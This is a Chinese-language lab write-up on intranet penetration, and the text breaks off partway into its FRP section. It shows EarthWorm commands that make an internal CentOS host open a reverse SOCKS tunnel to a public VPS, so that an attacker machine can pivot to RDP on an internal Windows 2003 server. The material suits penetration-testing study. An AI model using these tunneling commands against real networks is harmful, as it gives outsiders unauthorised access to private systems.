EW、FRP、NPS内网穿透实验

免责声明：本文章仅用于学习交流，请勿用于非法用途或未授权测试。阅读者造成的任何破坏或负面影响，与作者无关。

实验目标：
使用不同内网穿透工具，在公网VPS与内网Centos之间建立通信。使攻击机win7（或其他可上网的机器）通过VPS连接到内网Centos，并横向移动访问内网win2003的远程桌面服务。

实验主机
可上网的Win7：192.200.200.26
公网VPS
内网Centos：192.168.209.130（内网所有主机的流量都通过这台内网主机）
内网Win2003：192.168.209.149（已开放远程桌面3389）

Windows2003开启远程桌面：我的电脑-右键属性-远程-启用远程桌面

实验拓扑

注：本次实验所有配置都在公网VPS及虚拟机的虚拟内网CentOS中进行，公网VPS为服务端，内网CentOS为客户端，所有访问内网Win2003的流量都经由内网CentOS。阅读时结合此拓扑图，有助于理解该实验。

一、EarthWorm

1.建立通信

公网VPS：./ew -s rcsocks -l 1080 -e 8888
内网Centos：./ew -s rssocks -d 公网VPS地址 -e 8888
配置隧道代理双方通信后，服务端和客户端就会不停打印输出IP端口传输情况。

2.配置隧道代理

攻击机win7（或其他可上网的主机）通过proxifier代理走ew建立的通信，以内网Centos的名义打开内网另一台主机Win2003的远程桌面。

ICMP没走代理，直接ping是不通的。远程桌面mstsc.exe走隧道代理，可直接访问内网机器的远程桌面。相当于Win7以内网CentOS的名义开启内网Windows2003的远程桌面服务。

3.连接远程桌面

mstsc.exe走Proxifier代理后，打开远程桌面输入192.168.209.149即可直接连接成功。

二、FRP

1.下载及配置两端的ini配置文件

下载地址：https://github.com/fatedier/frp/releases
服务端与客户端要使用同版本，此处都使用V0.30。
服务端公网VPS，配置文件为frps.ini，客户端内网CentOS，配置文件为frpc.ini。
分别查看事先配置过的frps.ini和frpc.ini。
frpc.ini

[common]
server_addr = 公网VPS地址
server_port